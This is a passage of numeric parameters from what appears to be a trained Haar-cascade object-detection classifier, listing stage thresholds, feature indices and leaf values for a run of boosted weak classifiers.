6.1707608401775360e-03 + + 2.5833319872617722e-02 -7.2686272859573364e-01 + <_> + + 0 -1 306 1.0536249727010727e-02 + + -8.1828996539115906e-02 2.9760798811912537e-01 + <_> + 32 + -1.1255199909210205e+00 + + <_> + + 0 -1 307 -6.2758728861808777e-02 + + 2.7899080514907837e-01 -2.9656109213829041e-01 + <_> + + 0 -1 308 3.4516479354351759e-03 + + -3.4635880589485168e-01 2.0903840661048889e-01 + <_> + + 0 -1 309 -7.8699486330151558e-03 + + 2.4144889414310455e-01 -1.9205570220947266e-01 + <_> + + 0 -1 310 -3.4624869003891945e-03 + + -5.9151780605316162e-01 1.2486449629068375e-01 + <_> + + 0 -1 311 -9.4818761572241783e-03 + + 1.8391540646553040e-01 -2.4858260154724121e-01 + <_> + + 0 -1 312 2.3226840130519122e-04 + + -3.3047258853912354e-01 1.0999260097742081e-01 + <_> + + 0 -1 313 1.8101120367646217e-03 + + 9.8744012415409088e-02 -4.9634781479835510e-01 + <_> + + 0 -1 314 -5.4422430694103241e-03 + + 2.9344418644905090e-01 -1.3094750046730042e-01 + <_> + + 0 -1 315 7.4148122221231461e-03 + + -1.4762699604034424e-01 3.3277168869972229e-01 + <_> + + 0 -1 316 -1.5565140172839165e-02 + + -6.8404901027679443e-01 9.9872693419456482e-02 + <_> + + 0 -1 317 2.8720520436763763e-02 + + -1.4833280444145203e-01 3.0902579426765442e-01 + <_> + + 0 -1 318 9.6687392215244472e-05 + + -1.7431040108203888e-01 2.1402959525585175e-01 + <_> + + 0 -1 319 5.2371058613061905e-02 + + -7.0156857371330261e-02 4.9222990870475769e-01 + <_> + + 0 -1 320 -8.6485691368579865e-02 + + 5.0757247209548950e-01 -7.5294211506843567e-02 + <_> + + 0 -1 321 -4.2169868946075439e-02 + + 4.5680961012840271e-01 -9.0219900012016296e-02 + <_> + + 0 -1 322 4.5369830331765115e-05 + + -2.6538279652595520e-01 1.6189539432525635e-01 + <_> + + 0 -1 323 5.2918000146746635e-03 + + 7.4890151619911194e-02 -5.4054671525955200e-01 + <_> + + 0 -1 324 -7.5511651812121272e-04 + + -4.9261990189552307e-01 5.8723948895931244e-02 + <_> + + 0 -1 325 7.5108138844370842e-05 + + -2.1432100236415863e-01 1.4077760279178619e-01 + <_> + + 0 -1 326 4.9981209449470043e-03 + + -9.0547338128089905e-02 3.5716068744659424e-01 + <_> + + 0 -1 327 -1.4929979806765914e-03 + + 2.5623458623886108e-01 -1.4229069650173187e-01 + <_> + + 0 -1 328 2.7239411137998104e-03 + + -1.5649250149726868e-01 2.1088710427284241e-01 + <_> + + 0 -1 329 2.2218320518732071e-03 + + -1.5072989463806152e-01 2.6801869273185730e-01 + <_> + + 0 -1 330 -7.3993072146549821e-04 + + 2.9546990990638733e-01 -1.0692390054464340e-01 + <_> + + 0 -1 331 2.0113459322601557e-03 + + 5.0614349544048309e-02 -7.1683371067047119e-01 + <_> + + 0 -1 332 1.1452870443463326e-02 + + -1.2719069421291351e-01 2.4152779579162598e-01 + <_> + + 0 -1 333 -1.0782170575112104e-03 + + 2.4813009798526764e-01 -1.3461199402809143e-01 + <_> + + 0 -1 334 3.3417691010981798e-03 + + 5.3578309714794159e-02 -5.2274167537689209e-01 + <_> + + 0 -1 335 6.9398651248775423e-05 + + -2.1698740124702454e-01 1.2812179327011108e-01 + <_> + + 0 -1 336 -4.0982551872730255e-03 + + 2.4401889741420746e-01 -1.1570589989423752e-01 + <_> + + 0 -1 337 -1.6289720078930259e-03 + + 2.8261470794677734e-01 -1.0659469664096832e-01 + <_> + + 0 -1 338 1.3984859921038151e-02 + + 4.2715899646282196e-02 -7.3646312952041626e-01 + <_> + 30 + -1.1729990243911743e+00 + + <_> + + 0 -1 339 1.6416519880294800e-01 + + -4.8960301280021667e-01 1.7607709765434265e-01 + <_> + + 0 -1 340 8.3413062384352088e-04 + + -2.8220430016517639e-01 2.4199579656124115e-01 + <_> + + 0 -1 341 -1.7193210078403354e-03 + + -7.1485888957977295e-01 8.6162216961383820e-02 + <_> + + 0 -1 342 -1.5654950402677059e-03 + + -7.2972381114959717e-01 9.4070672988891602e-02 + <_> + + 0 -1 343 1.9124479731544852e-03 + + -3.1187158823013306e-01 1.8143390119075775e-01 + <_> + + 0 -1 344 -1.3512369990348816e-01 + + 2.9577299952507019e-01 -2.2179250419139862e-01 + <_> + + 0 -1 345 -4.0300549007952213e-03 + + -6.6595137119293213e-01 8.5431016981601715e-02 + <_> + + 0 -1 346 -2.8640460222959518e-03 + + -6.2086361646652222e-01 5.3106021136045456e-02 + <_> + + 0 -1 347 -1.4065420255064964e-03 + + 2.2346289455890656e-01 -2.0211009681224823e-01 + <_> + + 0 -1 348 -3.5820449702441692e-03 + + -5.4030400514602661e-01 6.8213619291782379e-02 + <_> + + 0 -1 349 4.1544470936059952e-02 + + -6.5215840935707092e-02 6.2109231948852539e-01 + <_> + + 0 -1 350 -9.1709550470113754e-03 + + -7.5553297996520996e-01 5.2640449255704880e-02 + <_> + + 0 -1 351 6.1552738770842552e-03 + + 9.0939402580261230e-02 -4.4246131181716919e-01 + <_> + + 0 -1 352 -1.0043520014733076e-03 + + 2.4292330443859100e-01 -1.8669790029525757e-01 + <_> + + 0 -1 353 1.1519829742610455e-02 + + -1.1763150244951248e-01 3.6723458766937256e-01 + <_> + + 0 -1 354 -8.9040733873844147e-03 + + -4.8931330442428589e-01 1.0897020250558853e-01 + <_> + + 0 -1 355 5.3973670583218336e-04 + + -2.1850399672985077e-01 1.8489989638328552e-01 + <_> + + 0 -1 356 1.3727260520681739e-03 + + -1.5072910487651825e-01 2.9173129796981812e-01 + <_> + + 0 -1 357 -1.0807390324771404e-02 + + 4.2897450923919678e-01 -1.0280139744281769e-01 + <_> + + 0 -1 358 1.2670770520344377e-03 + + 7.4192158877849579e-02 -6.4208251237869263e-01 + <_> + + 0 -1 359 2.2991129662841558e-03 + + 4.7100279480218887e-02 -7.2335231304168701e-01 + <_> + + 0 -1 360 2.7187510859221220e-03 + + -1.7086869478225708e-01 2.3513509333133698e-01 + <_> + + 0 -1 361 -6.6619180142879486e-03 + + -7.8975427150726318e-01 4.5084670186042786e-02 + <_> + + 0 -1 362 -4.8266649246215820e-02 + + -6.9579917192459106e-01 4.1976079344749451e-02 + <_> + + 0 -1 363 1.5214690007269382e-02 + + -1.0818280279636383e-01 3.6460620164871216e-01 + <_> + + 0 -1 364 -6.0080131515860558e-03 + + 3.0970990657806396e-01 -1.1359210312366486e-01 + <_> + + 0 -1 365 6.6127157770097256e-03 + + 8.0665342509746552e-02 -4.6658530831336975e-01 + <_> + + 0 -1 366 -7.9607013612985611e-03 + + -8.7201941013336182e-01 3.6774590611457825e-02 + <_> + + 0 -1 367 3.8847199175506830e-03 + + -1.1666289716959000e-01 3.3070269227027893e-01 + <_> + + 0 -1 368 -1.0988810099661350e-03 + + 2.3872570693492889e-01 -1.7656759917736053e-01 + <_> + 44 + -1.0368299484252930e+00 + + <_> + + 0 -1 369 3.5903379321098328e-03 + + -2.3688079416751862e-01 2.4631640315055847e-01 + <_> + + 0 -1 370 6.4815930090844631e-03 + + -3.1373620033264160e-01 1.8675759434700012e-01 + <_> + + 0 -1 371 7.3048402555286884e-05 + + -2.7644351124763489e-01 1.6496239602565765e-01 + <_> + + 0 -1 372 -3.8514640182256699e-03 + + -5.6014508008956909e-01 1.1294739693403244e-01 + <_> + + 0 -1 373 3.8588210009038448e-03 + + 3.9848998188972473e-02 -5.8071857690811157e-01 + <_> + + 0 -1 374 -2.4651220068335533e-02 + + 1.6755010187625885e-01 -2.5343671441078186e-01 + <_> + + 0 -1 375 4.7245521098375320e-02 + + -1.0662080347537994e-01 3.9451980590820312e-01 + <_> + + 0 -1 376 6.5964651294052601e-03 + + -1.7744250595569611e-01 2.7280190587043762e-01 + <_> + + 0 -1 377 -1.3177490327507257e-03 + + -5.4272651672363281e-01 4.8606589436531067e-02 + <_> + + 0 -1 378 -5.0261709839105606e-03 + + 2.4394249916076660e-01 -1.3143649697303772e-01 + <_> + + 0 -1 379 3.4632768947631121e-03 + + 6.9049343466758728e-02 -7.0336240530014038e-01 + <_> + + 0 -1 380 2.1692588925361633e-03 + + -1.3289460539817810e-01 2.2098529338836670e-01 + <_> + + 0 -1 381 2.9395870864391327e-02 + + -2.8530520200729370e-01 1.3543990254402161e-01 + <_> + + 0 -1 382 -9.6181448316201568e-04 + + -5.8041381835937500e-01 3.7450648844242096e-02 + <_> + + 0 -1 383 -1.0820999741554260e-01 + + 3.9467281103134155e-01 -7.8655943274497986e-02 + <_> + + 0 -1 384 -1.8024869263172150e-02 + + 2.7355629205703735e-01 -1.3415299355983734e-01 + <_> + + 0 -1 385 6.2509840354323387e-03 + + 2.3388059809803963e-02 -8.0088591575622559e-01 + <_> + + 0 -1 386 -1.6088379779830575e-03 + + -5.6762522459030151e-01 4.1215669363737106e-02 + <_> + + 0 -1 387 7.7564752427861094e-04 + + -1.4891269803047180e-01 1.9086180627346039e-01 + <_> + + 0 -1 388 8.7122338300105184e-05 + + -1.5557530522346497e-01 1.9428220391273499e-01 + <_> + + 0 -1 389 -2.0755320787429810e-02 + + -6.3006532192230225e-01 3.6134380847215652e-02 + <_> + + 0 -1 390 -6.2931738793849945e-03 + + 2.5609248876571655e-01 -1.0588269680738449e-01 + <_> + + 0 -1 391 1.0844149626791477e-02 + + -1.0124850273132324e-01 3.0322128534317017e-01 + <_> + + 0 -1 392 -6.3752777350600809e-05 + + 1.9111579656600952e-01 -1.3849230110645294e-01 + <_> + + 0 -1 393 6.6480963141657412e-05 + + -1.5205250680446625e-01 2.1706309914588928e-01 + <_> + + 0 -1 394 1.3560829684138298e-03 + + 4.9431789666414261e-02 -6.4279842376708984e-01 + <_> + + 0 -1 395 -9.0662558795884252e-04 + + 1.7982010543346405e-01 -1.4044609665870667e-01 + <_> + + 0 -1 396 1.0473709553480148e-03 + + -1.0933549702167511e-01 2.4265940487384796e-01 + <_> + + 0 -1 397 -1.0243969736620784e-03 + + 2.7162680029869080e-01 -1.1820919811725616e-01 + <_> + + 0 -1 398 -1.2024149764329195e-03 + + -7.0151102542877197e-01 3.9489898830652237e-02 + <_> + + 0 -1 399 7.6911649666726589e-03 + + -9.2218913137912750e-02 3.1046289205551147e-01 + <_> + + 0 -1 400 -1.3966549932956696e-01 + + 6.8979388475418091e-01 -3.9706118404865265e-02 + <_> + + 0 -1 401 2.1276050247251987e-03 + + 9.7277611494064331e-02 -2.8841799497604370e-01 + <_> + + 0 -1 402 -2.7594310231506824e-03 + + 2.4168670177459717e-01 -1.1277820169925690e-01 + <_> + + 0 -1 403 5.2236132323741913e-03 + + -1.1430279910564423e-01 2.4256780743598938e-01 + <_> + + 0 -1 404 -1.2590440455824137e-03 + + -5.9679388999938965e-01 4.7663960605859756e-02 + <_> + + 0 -1 405 -3.7192099262028933e-03 + + -4.6414130926132202e-01 5.2847690880298615e-02 + <_> + + 0 -1 406 5.9696151874959469e-03 + + -7.3244288563728333e-02 3.8743090629577637e-01 + <_> + + 0 -1 407 -5.1776720210909843e-03 + + -7.4193227291107178e-01 4.0496710687875748e-02 + <_> + + 0 -1 408 5.0035100430250168e-03 + + -1.3888800144195557e-01 1.8767620623111725e-01 + <_> + + 0 -1 409 -5.2013457752764225e-04 + + -5.4940617084503174e-01 4.9417849630117416e-02 + <_> + + 0 -1 410 5.3168768063187599e-03 + + -8.2482978701591492e-02 3.1740561127662659e-01 + <_> + + 0 -1 411 -1.4774589799344540e-02 + + 2.0816099643707275e-01 -1.2115559726953506e-01 + <_> + + 0 -1 412 -4.1416451334953308e-02 + + -8.2437807321548462e-01 3.3329188823699951e-02 + <_> + 53 + -1.0492420196533203e+00 + + <_> + + 0 -1 413 9.0962520334869623e-04 + + 8.4579966962337494e-02 -5.6118410825729370e-01 + <_> + + 0 -1 414 -5.6139789521694183e-02 + + 1.5341749787330627e-01 -2.6967319846153259e-01 + <_> + + 0 -1 415 1.0292009683325887e-03 + + -2.0489980280399323e-01 2.0153179764747620e-01 + <_> + + 0 -1 416 2.8783010784536600e-03 + + -1.7351140081882477e-01 2.1297949552536011e-01 + <_> + + 0 -1 417 -7.4144392274320126e-03 + + -5.9624868631362915e-01 4.7077950090169907e-02 + <_> + + 0 -1 418 -1.4831849839538336e-03 + + 1.9024610519409180e-01 -1.5986390411853790e-01 + <_> + + 0 -1 419 4.5968941412866116e-03 + + 3.1447131186723709e-02 -6.8694341182708740e-01 + <_> + + 0 -1 420 2.4255330208688974e-03 + + -2.3609359562397003e-01 1.1036109924316406e-01 + <_> + + 0 -1 421 -8.4950566291809082e-02 + + 2.3107160627841949e-01 -1.3776530325412750e-01 + <_> + + 0 -1 422 -5.0145681016147137e-03 + + 3.8676109910011292e-01 -5.6217379868030548e-02 + <_> + + 0 -1 423 -2.1482061129063368e-03 + + 1.8191599845886230e-01 -1.7615699768066406e-01 + <_> + + 0 -1 424 -1.0396770201623440e-02 + + -7.5351381301879883e-01 2.4091970175504684e-02 + <_> + + 0 -1 425 -1.3466750271618366e-02 + + -7.2118860483169556e-01 3.4949369728565216e-02 + <_> + + 0 -1 426 -8.4435477852821350e-02 + + -3.3792638778686523e-01 7.1113817393779755e-02 + <_> + + 0 -1 427 2.4771490134298801e-03 + + -1.1765109747648239e-01 2.2541989386081696e-01 + <_> + + 0 -1 428 1.5828050673007965e-02 + + -6.9536216557025909e-02 3.1395369768142700e-01 + <_> + + 0 -1 429 6.4916983246803284e-02 + + -7.5043588876724243e-02 4.0677338838577271e-01 + <_> + + 0 -1 430 2.9652469675056636e-04 + + 7.3953360319137573e-02 -3.4544008970260620e-01 + <_> + + 0 -1 431 1.3129520229995251e-03 + + -1.6909439861774445e-01 1.5258370339870453e-01 + <_> + + 0 -1 432 -5.8032129891216755e-03 + + 3.5260149836540222e-01 -8.3444066345691681e-02 + <_> + + 0 -1 433 -1.4791679382324219e-01 + + 4.3004658818244934e-01 -5.7309929281473160e-02 + <_> + + 0 -1 434 -1.6584150493144989e-02 + + 2.3432689905166626e-01 -1.0907640308141708e-01 + <_> + + 0 -1 435 3.0183270573616028e-03 + + -1.3600939512252808e-01 2.6409289240837097e-01 + <_> + + 0 -1 436 -3.6471918225288391e-02 + + -6.2809741497039795e-01 4.3545108288526535e-02 + <_> + + 0 -1 437 -7.3119226726703346e-05 + + 1.6470630466938019e-01 -1.6463780403137207e-01 + <_> + + 0 -1 438 -3.6719450727105141e-03 + + -4.7421360015869141e-01 4.8586919903755188e-02 + <_> + + 0 -1 439 -4.0151178836822510e-03 + + 1.8222180008888245e-01 -1.4097510278224945e-01 + <_> + + 0 -1 440 1.9948020577430725e-02 + + -6.9787658751010895e-02 3.6707460880279541e-01 + <_> + + 0 -1 441 7.6699437340721488e-04 + + 5.5729299783706665e-02 -4.4585430622100830e-01 + <_> + + 0 -1 442 -1.1806039838120341e-03 + + -4.6876621246337891e-01 4.8902221024036407e-02 + <_> + + 0 -1 443 1.5847349539399147e-02 + + -1.2120209634304047e-01 2.0566530525684357e-01 + <_> + + 0 -1 444 -1.1985700111836195e-03 + + 2.0262099802494049e-01 -1.2823820114135742e-01 + <_> + + 0 -1 445 -1.0964959859848022e-01 + + -8.6619192361831665e-01 3.0351849272847176e-02 + <_> + + 0 -1 446 -9.2532606795430183e-03 + + 2.9343119263648987e-01 -8.5361950099468231e-02 + <_> + + 0 -1 447 1.4686530455946922e-02 + + 3.2798621803522110e-02 -7.7556562423706055e-01 + <_> + + 0 -1 448 -1.3514430029317737e-03 + + 2.4426999688148499e-01 -1.1503250151872635e-01 + <_> + + 0 -1 449 -4.3728090822696686e-03 + + 2.1687670052051544e-01 -1.3984480500221252e-01 + <_> + + 0 -1 450 3.4263390116393566e-03 + + 4.5614220201969147e-02 -5.4567712545394897e-01 + <_> + + 0 -1 451 -3.8404068909585476e-03 + + 1.4949500560760498e-01 -1.5062509477138519e-01 + <_> + + 0 -1 452 3.7988980766385794e-03 + + -8.7301626801490784e-02 2.5481531023979187e-01 + <_> + + 0 -1 453 -2.0094281062483788e-03 + + 1.7259070277214050e-01 -1.4288470149040222e-01 + <_> + + 0 -1 454 -2.4370709434151649e-03 + + 2.6848098635673523e-01 -8.1898219883441925e-02 + <_> + + 0 -1 455 1.0485399980098009e-03 + + 4.6113260090351105e-02 -4.7243279218673706e-01 + <_> + + 0 -1 456 1.7460780218243599e-03 + + -1.1030430346727371e-01 2.0379729568958282e-01 + <_> + + 0 -1 457 5.8608627878129482e-03 + + -1.5619659423828125e-01 1.5927439928054810e-01 + <_> + + 0 -1 458 -2.7724979445338249e-02 + + 1.1349119991064072e-01 -2.1885140240192413e-01 + <_> + + 0 -1 459 4.7080639749765396e-02 + + -4.1688729077577591e-02 5.3630048036575317e-01 + <_> + + 0 -1 460 -7.9283770173788071e-03 + + -5.3595131635665894e-01 4.4237509369850159e-02 + <_> + + 0 -1 461 -1.2880540452897549e-02 + + 2.3237949609756470e-01 -1.0246250033378601e-01 + <_> + + 0 -1 462 2.3604769259691238e-02 + + -8.8291436433792114e-02 3.0561059713363647e-01 + <_> + + 0 -1 463 1.5902200713753700e-02 + + -1.2238109856843948e-01 1.7849120497703552e-01 + <_> + + 0 -1 464 7.9939495772123337e-03 + + -8.3729006350040436e-02 3.2319590449333191e-01 + <_> + + 0 -1 465 5.7100867852568626e-03 + + 3.8479208946228027e-02 -6.8138152360916138e-01 + <_> + 51 + -1.1122100353240967e+00 + + <_> + + 0 -1 466 2.2480720654129982e-03 + + -1.6416870057582855e-01 4.1648530960083008e-01 + <_> + + 0 -1 467 4.5813550241291523e-03 + + -1.2465959787368774e-01 4.0385121107101440e-01 + <_> + + 0 -1 468 -1.6073239967226982e-03 + + 2.6082459092140198e-01 -2.0282520353794098e-01 + <_> + + 0 -1 469 2.5205370038747787e-03 + + -1.0557229816913605e-01 3.6669111251831055e-01 + <_> + + 0 -1 470 2.4119189474731684e-03 + + -1.3877600431442261e-01 2.9959911108016968e-01 + <_> + + 0 -1 471 5.7156179100275040e-03 + + -7.7683463692665100e-02 4.8481920361518860e-01 + <_> + + 0 -1 472 3.1093840952962637e-03 + + -1.1229000240564346e-01 2.9215508699417114e-01 + <_> + + 0 -1 473 -8.6836628615856171e-02 + + -3.6779600381851196e-01 7.2597242891788483e-02 + <_> + + 0 -1 474 5.2652182057499886e-03 + + -1.0890290141105652e-01 3.1791260838508606e-01 + <_> + + 0 -1 475 -1.9913529977202415e-02 + + -5.3373438119888306e-01 7.0585712790489197e-02 + <_> + + 0 -1 476 3.8297839928418398e-03 + + -1.3575910031795502e-01 2.2788879275321960e-01 + <_> + + 0 -1 477 1.0431859642267227e-02 + + 8.8797912001609802e-02 -4.7958970069885254e-01 + <_> + + 0 -1 478 -2.0040439441800117e-02 + + 1.5745539963245392e-01 -1.7771570384502411e-01 + <_> + + 0 -1 479 -5.2967290394008160e-03 + + -6.8434917926788330e-01 3.5671461373567581e-02 + <_> + + 0 -1 480 -2.1624139044433832e-03 + + 2.8318038582801819e-01 -9.8511278629302979e-02 + <_> + + 0 -1 481 -3.5464888787828386e-04 + + -3.7077340483665466e-01 8.0932952463626862e-02 + <_> + + 0 -1 482 -1.8152060511056334e-04 + + -3.2207030057907104e-01 7.7551059424877167e-02 + <_> + + 0 -1 483 -2.7563021285459399e-04 + + -3.2441279292106628e-01 8.7949477136135101e-02 + <_> + + 0 -1 484 6.3823810778558254e-03 + + -8.8924713432788849e-02 3.1727218627929688e-01 + <_> + + 0 -1 485 1.1150909587740898e-02 + + 7.1019843220710754e-02 -4.0494039654731750e-01 + <_> + + 0 -1 486 -1.0593760525807738e-03 + + 2.6050668954849243e-01 -1.1765640228986740e-01 + <_> + + 0 -1 487 2.3906480055302382e-03 + + -8.4388621151447296e-02 3.1230551004409790e-01 + <_> + + 0 -1 488 -1.1000749655067921e-02 + + 1.9152249395847321e-01 -1.5210020542144775e-01 + <_> + + 0 -1 489 -2.4643228971399367e-04 + + -3.1765159964561462e-01 8.6582258343696594e-02 + <_> + + 0 -1 490 2.3053269833326340e-02 + + -1.0089760273694992e-01 2.5769290328025818e-01 + <_> + + 0 -1 491 -2.2135660983622074e-03 + + 4.5689210295677185e-01 -5.2404791116714478e-02 + <_> + + 0 -1 492 -9.7139709396287799e-04 + + -3.5518380999565125e-01 8.0094382166862488e-02 + <_> + + 0 -1 493 1.5676229959353805e-03 + + 1.0091420263051987e-01 -2.1603040397167206e-01 + <_> + + 0 -1 494 7.5460801599547267e-04 + + 5.7896178215742111e-02 -4.0461111068725586e-01 + <_> + + 0 -1 495 -2.0698970183730125e-02 + + 3.1543630361557007e-01 -8.0713048577308655e-02 + <_> + + 0 -1 496 -2.0619940012693405e-02 + + 2.7181661128997803e-01 -7.6358616352081299e-02 + <_> + + 0 -1 497 2.1611129865050316e-02 + + 3.9493449032306671e-02 -5.9429651498794556e-01 + <_> + + 0 -1 498 6.5676742233335972e-03 + + -9.8353669047355652e-02 2.3649279773235321e-01 + <_> + + 0 -1 499 -8.8434796780347824e-03 + + -5.2523428201675415e-01 4.3099921196699142e-02 + <_> + + 0 -1 500 -9.4260741025209427e-03 + + 2.4665130674839020e-01 -9.4130717217922211e-02 + <_> + + 0 -1 501 -1.9830230157822371e-03 + + 2.6743701100349426e-01 -9.0069316327571869e-02 + <_> + + 0 -1 502 -1.7358399927616119e-03 + + 1.5940019488334656e-01 -1.5789410471916199e-01 + <_> + + 0 -1 503 -1.3513869605958462e-02 + + 4.0792331099510193e-01 -6.4223118126392365e-02 + <_> + + 0 -1 504 -1.9394010305404663e-02 + + 1.8015649914741516e-01 -1.3731400668621063e-01 + <_> + + 0 -1 505 -3.2684770412743092e-03 + + 2.9080390930175781e-01 -8.0161906778812408e-02 + <_> + + 0 -1 506 4.1773589327931404e-04 + + -2.1412980556488037e-01 1.1273439973592758e-01 + <_> + + 0 -1 507 -7.6351119205355644e-03 + + -4.5365959405899048e-01 5.4625060409307480e-02 + <_> + + 0 -1 508 -8.3652976900339127e-03 + + 2.6472920179367065e-01 -9.4334110617637634e-02 + <_> + + 0 -1 509 2.7768449857831001e-02 + + -1.0136710107326508e-01 2.0743979513645172e-01 + <_> + + 0 -1 510 -5.4891228675842285e-02 + + 2.8840309381484985e-01 -7.5312040746212006e-02 + <_> + + 0 -1 511 2.5793339591473341e-03 + + -1.1088529974222183e-01 2.1724960207939148e-01 + <_> + + 0 -1 512 6.6196516854688525e-05 + + -1.8872100114822388e-01 1.4440689980983734e-01 + <_> + + 0 -1 513 5.0907251425087452e-03 + + -7.7601231634616852e-02 2.9398378729820251e-01 + <_> + + 0 -1 514 -1.0444259643554688e-01 + + 2.0133109390735626e-01 -1.0903970152139664e-01 + <_> + + 0 -1 515 -6.7273090826347470e-04 + + 1.7945900559425354e-01 -1.2023670226335526e-01 + <_> + + 0 -1 516 3.2412849832326174e-03 + + 4.0688131004571915e-02 -5.4600572586059570e-01 + <_> + 44 + -1.2529590129852295e+00 + + <_> + + 0 -1 517 5.2965320646762848e-03 + + -1.2154529988765717e-01 6.4420372247695923e-01 + <_> + + 0 -1 518 -2.5326260365545750e-03 + + 5.1233220100402832e-01 -1.1108259856700897e-01 + <_> + + 0 -1 519 -2.9183230362832546e-03 + + -5.0615429878234863e-01 1.1501979827880859e-01 + <_> + + 0 -1 520 -2.3692339658737183e-02 + + 3.7167280912399292e-01 -1.4672680199146271e-01 + <_> + + 0 -1 521 2.0177470520138741e-02 + + -1.7388840019702911e-01 4.7759491205215454e-01 + <_> + + 0 -1 522 -2.1723210811614990e-02 + + -4.3880090117454529e-01 1.3576899468898773e-01 + <_> + + 0 -1 523 2.8369780629873276e-03 + + -1.2512069940567017e-01 4.6789029240608215e-01 + <_> + + 0 -1 524 2.7148420922458172e-03 + + -8.8018856942653656e-02 3.6866518855094910e-01 + <_> + + 0 -1 525 3.2625689636915922e-03 + + -8.5335306823253632e-02 5.1644730567932129e-01 + <_> + + 0 -1 526 -3.5618850961327553e-03 + + -4.4503930211067200e-01 9.1738171875476837e-02 + <_> + + 0 -1 527 1.9227749435231090e-03 + + -1.1077310144901276e-01 3.9416998624801636e-01 + <_> + + 0 -1 528 -3.5111969918943942e-04 + + -3.7775701284408569e-01 1.2166170030832291e-01 + <_> + + 0 -1 529 1.9121779769193381e-04 + + 7.4816018342971802e-02 -4.0767100453376770e-01 + <_> + + 0 -1 530 -2.6525629800744355e-04 + + -3.3151718974113464e-01 1.1291120201349258e-01 + <_> + + 0 -1 531 2.0086700096726418e-02 + + -6.1598118394613266e-02 5.6128817796707153e-01 + <_> + + 0 -1 532 3.6783248186111450e-02 + + -6.0251388698816299e-02 5.2192491292953491e-01 + <_> + + 0 -1 533 1.3941619545221329e-03 + + -3.5503050684928894e-01 1.0863020271062851e-01 + <_> + + 0 -1 534 -1.5181669965386391e-02 + + 2.2739650309085846e-01 -1.6252990067005157e-01 + <_> + + 0 -1 535 4.6796840615570545e-03 + + -5.7535041123628616e-02 4.8124238848686218e-01 + <_> + + 0 -1 536 -1.7988319450523704e-04 + + -3.0587670207023621e-01 1.0868159681558609e-01 + <_> + + 0 -1 537 -3.5850999411195517e-03 + + 3.8596940040588379e-01 -9.2194072902202606e-02 + <_> + + 0 -1 538 1.0793360415846109e-03 + + -1.1190389841794968e-01 3.1125208735466003e-01 + <_> + + 0 -1 539 7.3285802500322461e-05 + + -2.0239910483360291e-01 1.5586680173873901e-01 + <_> + + 0 -1 540 1.3678739964962006e-01 + + -2.1672859787940979e-01 1.4420390129089355e-01 + <_> + + 0 -1 541 -1.1729259975254536e-02 + + 4.3503770232200623e-01 -7.4886530637741089e-02 + <_> + + 0 -1 542 3.9230841211974621e-03 + + -5.0289329141378403e-02 5.8831161260604858e-01 + <_> + + 0 -1 543 -2.9819121118634939e-04 + + -3.8232401013374329e-01 9.2451132833957672e-02 + <_> + + 0 -1 544 -4.7992770560085773e-03 + + 4.8488789796829224e-01 -7.3136523365974426e-02 + <_> + + 0 -1 545 -3.0155890271998942e-04 + + -3.5757359862327576e-01 1.0581880062818527e-01 + <_> + + 0 -1 546 1.0390769690275192e-02 + + 5.2920468151569366e-02 -5.7249659299850464e-01 + <_> + + 0 -1 547 -9.4488041941076517e-04 + + 4.4966828823089600e-01 -8.3075523376464844e-02 + <_> + + 0 -1 548 1.2651870492845774e-03 + + -9.6695438027381897e-02 3.1302270293235779e-01 + <_> + + 0 -1 549 1.7094539478421211e-02 + + -8.1248976290225983e-02 3.6113831400871277e-01 + <_> + + 0 -1 550 2.5973359588533640e-03 + + -1.1338350176811218e-01 2.2233949601650238e-01 + <_> + + 0 -1 551 1.4527440071105957e-03 + + 6.9750443100929260e-02 -3.6720710992813110e-01 + <_> + + 0 -1 552 4.7638658434152603e-03 + + -6.5788961946964264e-02 3.8328540325164795e-01 + <_> + + 0 -1 553 -6.2501081265509129e-03 + + -7.0754468441009521e-01 3.8350198417901993e-02 + <_> + + 0 -1 554 -3.1765329185873270e-03 + + 1.3755400478839874e-01 -2.3240029811859131e-01 + <_> + + 0 -1 555 3.2191169448196888e-03 + + -1.2935450673103333e-01 2.2737880051136017e-01 + <_> + + 0 -1 556 -5.6365579366683960e-03 + + 3.8067150115966797e-01 -6.7246839404106140e-02 + <_> + + 0 -1 557 -2.3844049428589642e-04 + + -3.1122380495071411e-01 8.3838358521461487e-02 + <_> + + 0 -1 558 -4.1017560288310051e-03 + + 2.6067280769348145e-01 -1.0449740290641785e-01 + <_> + + 0 -1 559 1.3336989795789123e-03 + + -5.8250140398740768e-02 4.7682440280914307e-01 + <_> + + 0 -1 560 -1.2090239906683564e-03 + + 1.4834509789943695e-01 -1.7329469323158264e-01 + <_> + 72 + -1.1188739538192749e+00 + + <_> + + 0 -1 561 -3.1760931015014648e-03 + + 3.3333331346511841e-01 -1.6642349958419800e-01 + <_> + + 0 -1 562 2.4858079850673676e-02 + + -7.2728872299194336e-02 5.6674581766128540e-01 + <_> + + 0 -1 563 -7.7597280032932758e-03 + + 4.6258568763732910e-01 -9.3112178146839142e-02 + <_> + + 0 -1 564 7.8239021822810173e-03 + + -2.7414610981941223e-01 1.3243049383163452e-01 + <_> + + 0 -1 565 -1.0948839597404003e-02 + + 2.2345480322837830e-01 -1.4965449273586273e-01 + <_> + + 0 -1 566 -3.4349008928984404e-03 + + 3.8724988698959351e-01 -6.6121727228164673e-02 + <_> + + 0 -1 567 -3.1156290322542191e-02 + + 2.4078279733657837e-01 -1.1406909674406052e-01 + <_> + + 0 -1 568 1.1100519914180040e-03 + + -2.8207978606224060e-01 1.3275429606437683e-01 + <_> + + 0 -1 569 3.1762740109115839e-03 + + 3.4585930407047272e-02 -5.1374310255050659e-01 + <_> + + 0 -1 570 -2.7977459132671356e-02 + + 2.3926779627799988e-01 -1.3255919516086578e-01 + <_> + + 0 -1 571 -2.3097939789295197e-02 + + 3.9019620418548584e-01 -7.8478008508682251e-02 + <_> + + 0 -1 572 -3.9731930010020733e-03 + + 3.0691069364547729e-01 -7.0601403713226318e-02 + <_> + + 0 -1 573 3.0335749033838511e-03 + + -1.4002190530300140e-01 1.9134859740734100e-01 + <_> + + 0 -1 574 -1.0844370350241661e-02 + + 1.6548730432987213e-01 -1.5657779574394226e-01 + <_> + + 0 -1 575 -1.8150510266423225e-02 + + -6.3243591785430908e-01 3.9561819285154343e-02 + <_> + + 0 -1 576 7.1052298881113529e-04 + + -1.8515570461750031e-01 1.3408809900283813e-01 + <_> + + 0 -1 577 1.0893340222537518e-02 + + -2.6730230078101158e-02 6.0971802473068237e-01 + <_> + + 0 -1 578 -2.8780900174751878e-04 + + -3.0065140128135681e-01 7.3171459138393402e-02 + <_> + + 0 -1 579 -3.5855069290846586e-03 + + 2.6217609643936157e-01 -7.9714097082614899e-02 + <_> + + 0 -1 580 